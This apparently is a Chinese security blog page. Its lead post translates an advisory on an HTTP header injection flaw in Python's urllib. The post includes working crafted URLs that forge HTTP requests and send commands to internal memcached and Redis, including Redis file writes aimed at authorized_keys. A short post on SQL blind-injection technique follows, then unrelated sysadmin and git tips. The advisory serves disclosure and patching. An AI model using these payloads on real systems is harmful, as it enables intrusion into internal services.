Python urllib HTTP头注入漏洞

已经发在了乌云知识库 http://drops.wooyun.org/papers/16905

总览

Python的urllib库(在Python2中为urllib2,在Python3中为urllib)有一个HTTP协议下的协议流注入漏洞。如果攻击者可以控制Python代码访问任意URL或者让Python代码访问一个恶意的web server,那这个漏洞可能会危害内网服务安全。

问题在哪

HTTP协议解析host的时候可以接受百分号编码的值,解码,然后包含在HTTP数据流里面,但是没有进一步的验证或者编码,这就可以注入一个换行符。

#!/usr/bin/env python3

import sys
import urllib
import urllib.error
import urllib.request

url = sys.argv[1]

try:
    info = urllib.request.urlopen(url).info()
    print(info)
except urllib.error.URLError as e:
    print(e)

这段代码只是从命令行参数接收一个URL,然后去访问它。为了查看urllib获取的HTTP头,我们用一个nc来监听端口。

nc -l -p 12345

在正常的代码中,我们可以这样访问

./fetch3.py http://127.0.0.1:12345/foo

返回的HTTP头是

GET /foo HTTP/1.1
Accept-Encoding: identity
User-Agent: Python-urllib/3.4
Connection: close
Host: 127.0.0.1:12345

然后我们使用恶意构造的地址

./fetch3.py http://127.0.0.1%0d%0aX-injected:%20header%0d%0ax-leftover:%20:12345/foo

返回的HTTP头就是

GET /foo HTTP/1.1
Accept-Encoding: identity
User-Agent: Python-urllib/3.4
Host: 127.0.0.1
X-injected: header
x-leftover: :12345
Connection: close

然后攻击者可以任意注入HTTP头了。

这个攻击在使用域名的时候也可以进行,但是要插入一个空字节才能进行DNS查询。比如说,下面的URL进行解析会失败的。

http://localhost%0d%0ax-bar:%20:12345/foo

但是下面的URL是可以正常解析并访问到127.0.0.1的

http://localhost%00%0d%0ax-bar:%20:12345/foo

要注意的是HTTP重定向也可以利用这个漏洞,如果攻击者提供的URL是一个恶意的web server,然后服务器可以重定向到其他的URL也可以导致协议注入。

攻击面

下面会讨论几个可能导致严重后果的攻击方式。当然还远远不够,攻击都需要特定的场景,有很多不同的方法可以利用,还不能确定有没有其他的利用方式。

HTTP头注入和请求伪造

这个攻击方式由来已久了,但是和以前的请求伪造不同的是,这里仅仅是可以注入额外的HTTP头和请求方法。当然当前场景下,能够提交不同的HTTP方法和请求数据就已经很有用了,比如说原始的请求是这样的

GET /foo HTTP/1.1
Accept-Encoding: identity
User-Agent: Python-urllib/3.4
Host: 127.0.0.1
Connection: close

攻击者可以注入一个额外的完整的HTTP请求头

http://127.0.0.1%0d%0aConnection%3a%20Keep-Alive%0d%0a%0d%0aPOST%20%2fbar%20HTTP%2f1.1%0d%0aHost%3a%20127.0.0.1%0d%0aContent-Length%3a%2031%0d%0a%0d%0a%7b%22new%22%3a%22json%22%2c%22content%22%3a%22here%22%7d%0d%0a:12345/foo

这个的响应是

GET /foo HTTP/1.1
Accept-Encoding: identity
User-Agent: Python-urllib/3.4
Host: 127.0.0.1
Connection: Keep-Alive

POST /bar HTTP/1.1
Host: 127.0.0.1
Content-Length: 31

{"new":"json","content":"here"}
:12345
Connection: close

demo中注入的完整的请求头在Apache HTTPD下是工作的,但是其他的server不一定能正确的解析或者利用。这种攻击可以用在内网攻击上,比如未授权的REST、SOAP或者类似的服务Exploiting Server Side Request Forgery on a Node/Express Application (hosted on Amazon EC2)

攻击memcached

memcached文档中,memcached会开放几个简单的网络协议接口供缓存数据读取和存储使用。一般来说,这种mamcached都是部署在应用服务器上,这样多个实例之间共享数据或者进行一些操作就会比较快,不用进行数据库操作了。要注意的是,memcached默认是都没有密码保护的。开发者或者管理员一般也是认为内网的应用是无法被攻击的。

这样,如果我们可以控制内网的Python访问一个URL,然后我们就可以轻松的访问memcached了,比如

http://127.0.0.1%0d%0aset%20foo%200%200%205%0d%0aABCDE%0d%0a:11211/foo

就会产生下面的HTTP头

GET /foo HTTP/1.1
Accept-Encoding: identity
Connection: close
User-Agent: Python-urllib/3.4
Host: 127.0.0.1
set foo 0 0 5
ABCDE
:11211

当检查下面几行memcached的协议语法的时候,大部分都是语法错误,但是memcached在收到错误的命令的时候并不会关闭连接,这样攻击者就可以在请求的任何位置注入命令了,然后memcached就会执行。下面是memcached的响应(memcached是Debian下包管理默认配置安装的)

ERROR
ERROR
ERROR
ERROR
ERROR
STORED
ERROR
ERROR

经过确认,memcached中确实成功的插入了foo的值。这种场景下,攻击者就可以给内网的memcached实例发送任意命令了。如果应用依赖于memcached中存储的数据(比如用户的session数据,HTML或者其他的敏感数据),攻击者可能获取应用更高的权限了。这个利用方式还可以造成拒绝服务攻击,就是攻击者可以在memcached中存储大量的数据。

攻击Redis

Redis和memcached很相似,因为都提供了数据备份存储,一些内置数据类型,还能执行Lua脚本。前几年Quite a bit公布了攻击Redis的一些方法(链接1 链接2 链接3)。和memcached类似,Redis提供了TCP协议的接口,然后也可以执行一堆错误命令中的正确命令。另外,还可以利用Redis在写任意文件,攻击者可以控制一部分文件内容。比如下面的URL在/tmp/evil下创建了一个数据库文件。

http://127.0.0.1%0d%0aCONFIG%20SET%20dir%20%2ftmp%0d%0aCONFIG%20SET%20dbfilename%20evil%0d%0aSET%20foo%20bar%0d%0aSAVE%0d%0a:6379/foo

然后可以看到刚才存储的一些键值对数据

# strings -n 3 /tmp/evil
REDIS0006
foo
bar

理论上,攻击者就可以利用Redis创建或者改写一些敏感文件了,包括

 ~redis/.profile
 ~redis/.ssh/authorized_keys
...

多版本的Python都受到影响

Python 2和3版本都受到影响,Cedric Buissart 提供了修复问题的部分信息。

3.4 / 3.5 : revision 94952
2.7 : revision 94951

虽然已经在最新的版本中修复了,但是很多系统的稳定版是没法得到修复的,比如最新的Debian Stable就还存在这个漏洞。

我的一点思考

Redis和memcached的开发者提供的默认配置是没有密码的,这个是不负责任的。当然,我能理解他们认为这些东西应该在"可信的内网"中使用。问题,实际上很少的内网能比外网更安全。未授权的服务即使监听在localhost,也会受到影响的。在安装过程中加一个随机生成的密码也并不难,开发者应该严肃的面对安全问题。

原文 http://blog.blindspotsecurity.com/2016/06/advisory-http-header-injection-in.html

"Hack" Ruff开发板(一)

"Hack"是加了引号的,并没有发现什么问题。至于里面JavaScript解释器有没有问题,那就是另外一回事了。

Ruff是一个使用JavaScript进行开发的的嵌入式开发板,官网是 https://ruff.io/zh-cn/。好多天之前就买了一个,一直在玩自带的几个传感器、开关等等。今天突然想了解一下它的内部的系统,就简单的分析了一下。

阅读全文...

sql注入时case when ... then ... else ...end 的应用

在基于时间的盲注的时候,一般使用的是if语句,如果符合条件就sleep,但是部分不能使用逗号的场景下,还可以使用case when #condition then ... else ... end语句来代替if语句,参考http://dev.mysql.com/doc/refman/5.7/en/control-flow-functions.html

某开源系统中

$this->ip = mysqli_real_escape_string($mysqli,$_SERVER['REMOTE_ADDR']);
if( !empty( $_SERVER['HTTP_X_FORWARDED_FOR'] ) ){
    $REMOTE_ADDR = $_SERVER['HTTP_X_FORWARDED_FOR'];
    $tmp_ip=explode(',',$REMOTE_ADDR);
    $this->ip = $tmp_ip[0];
}

然后注入点在insert和update语句中。一个盲注场景,没有报错和回显。

阅读全文...

最近遇到的几个技术问题

docker MySQL的binlog无法开启

binlog需要配合server-id一起使用,默认是65536,但是docker镜像不知道为什么没有这个值,所以直接添加log-bin的选项会出错,但是连一个错误提示都没有,浪费了好久。

解决方案

FROM mysql:latest
RUN printf "\nserver-id=1\nlog-bin=binlog\n" >> /etc/mysql/my.cnf

这里硬编码了一个server-id,如果MySQL是主从复制的模式运行,请自行配置server-id

全局变量与锁的问题

有一个Python的C语言拓展模块,大致的用法是

module.run(foo=bar, log_path="run.log")
module.run(foo=bar, log_path="test.log")

但是发现多次连续的运行并没有写入两个文件,而是都在第一个文件中,而这部分是由一个现成的日志模块完成的,查看日志模块的代码

static FILE *log_fp                 = NULL;
static char *log_filename           = NULL;
static int  log_opened              = 0;

int log_open(const char* filename)
{
    if (log_opened == 1)
    {
        return 0;
    }
    log_fp = fopen(filename, "a");
    if (log_fp == NULL)
    {
        exit(1);
    }
    atexit(log_close);
    log_opened = 1;
    log_extra_info[0] = 0;
    return 1;
}

很明显使用了全局变量,而这些变量是在Python代码中import这个模块的时候没有初始化的,而调用过一次模块方法后就被赋值了,这时候再次调用的时候,全局变量log_opened是1了,所以没有重新打开新的日志文件。

里面还有一个方法是

void log_close(void)
{
    if (log_opened)
    {
        fclose(log_fp);
        log_fp       = NULL;
        log_filename = NULL;
        log_opened   = 0;
    }
}

如果在模块的最后面主动调用这个方法的话,那很可能产生竞态条件,因为都是取得全局变量。所以最终需要全部改为局部变量加指针传值的方法。

但是还有一个小的竞态条件问题,就是在写入日志的时候,因为可能多线程运行的时候同时写入一个文件,所以要把写入文件的操作变成原子操作,最简单的应该就是给文件加锁了。

int log_fd = log_fp->_fileno;
if (flock(log_fd, LOCK_EX) == 0)
{
    if (write(log_fd, buffer, count) < 0)
    {
        perror("write error");
        exit(1);
    }
    flock(log_fd, LOCK_UN);
}
else
{
    perror("flock error");
    exit(1);
}

具体用法是 http://man7.org/linux/man-pages/man2/flock.2.html

当然还可以在写文件的时候,使用自旋锁等轻量级的锁,毕竟这个写几行日志是很快的操作,如果使用了信号量之类的睡眠锁,就有点重量级了。

RAID

今天给一台IBM x3850 x6装系统,首先要进入BIOS设置中组RAID,服务器共有4块硬盘,可选的有RAID0、RAID1和RAID5。

RAID0是整个逻辑盘的数据是被分条分布在多个磁盘上,可以并行读/写,提供最快的速度,但没有冗余能力。

RAID1只有一半的磁盘容量是有效的,可以认为一半读写数据,一半备份数据,有冗余能力。

RAID5把数据和相对应的奇偶校验信息存储到组成RAID5的各个磁盘上,并且奇偶校验信息和相对应的数据分别存储于不同的磁盘上,其中任意N-1块磁盘上都存储完整的数据。

网卡

还是上面的服务器,网卡不能用,ifconfig -a能看到,有4块网卡,但是直接运行ifup 网卡名提示出错。

发现/etc/network/interfaces中根本没有配置,然后添加了

auto p10p1
iface p10p1 inet dhcp

后再启用就好了。

git使用GPG签名

生成gpg key

运行gpg --gen-key前面选项可以保持默认,最后填写你的名字和邮箱。注意邮箱要和Github等平台上的一致。

导出key,添加到Github

运行gpg --list-keys就可以看到你的key id了。类似

pub   2048R/779EEEEE 2016-04-21
uid                  LiYang <user@example.com>
sub   2048R/88EEEEE 2016-04-21

下文使用{KEY ID}代替779EEEEE

然后运行gpg --armor --export {KEY ID}就可以看到-----BEGIN PGP PUBLIC KEY BLOCK-----开头的一堆字符串了,复制出来,添加到Github。

设置git

运行git config user.signingkey {KEY ID}

设置git commit默认签名

运行git config commit.gpgsign true这就相当于每次commit的时候就添加-S参数。-s参数没找到默认设置项目,这个可以显示Signed-off-by

git tag也是使用-s参数,没有找到默认设置。

请输入图片描述

其他

  • git log --show-signature 查看带签名的log
  • git mergegit pull 可以使用 --verify-signatures